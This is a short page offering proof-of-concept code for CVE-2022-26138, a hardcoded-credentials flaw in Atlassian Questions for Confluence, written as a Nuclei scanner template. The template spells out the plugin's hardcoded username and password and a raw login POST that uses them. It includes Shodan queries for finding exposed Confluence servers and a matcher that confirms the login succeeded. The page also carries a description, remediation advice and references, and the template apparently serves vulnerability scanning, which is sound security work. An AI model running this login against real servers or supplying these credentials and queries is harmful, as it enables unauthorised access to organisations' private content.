Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.
PoC代码[已公开]
id: CVE-2022-26138
info:
name: Atlassian Questions For Confluence - Hardcoded Credentials
author: HTTPVoid
severity: critical
description: |
Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attacker with knowledge of the hardcoded password can exploit this vulnerability to log into Confluence and access all content accessible to users in the confluence-users group.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the Confluence instance.
remediation: |
Update the Atlassian Questions For Confluence plugin to the latest version, which removes the hardcoded credentials.
reference:
- https://twitter.com/fluepke/status/1549892089181257729
- https://confluence.atlassian.com/doc/questions-for-confluence-security-advisory-2022-07-20-1142446709.html
- https://confluence.atlassian.com/doc/confluence-security-advisory-2022-07-20-1142446709.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-26138
- https://jira.atlassian.com/browse/CONFSERVER-79483
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-26138
cwe-id: CWE-798
epss-score: 0.94258
epss-percentile: 0.99926
cpe: cpe:2.3:a:atlassian:questions_for_confluence:2.7.34:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: atlassian
product: questions_for_confluence
shodan-query:
- http.component:"Atlassian Confluence"
- http.component:"atlassian confluence"
tags: cve2022,cve,confluence,atlassian,default-login,kev
http:
- raw:
- |
POST /dologin.action HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
os_username={{os_username}}&os_password={{os_password}}&login=Log+in&os_destination=%2Fhttpvoid.action
payloads:
os_username:
- disabledsystemuser
os_password:
- disabled1system1user6708
attack: pitchfork
matchers:
- type: dsl
dsl:
- 'location == "/httpvoid.action"'
# digest: 4a0a00473045022100d7db73b3ebddc0959de6f39790d26aad55aeec3d0cca254a17b1614cad77956302201a9fa0389dc7c26fc31a7d86be00f1dc0232252d4d5d62944bab0ed2480e381e:922c64590222798bb761d5b6d8e72950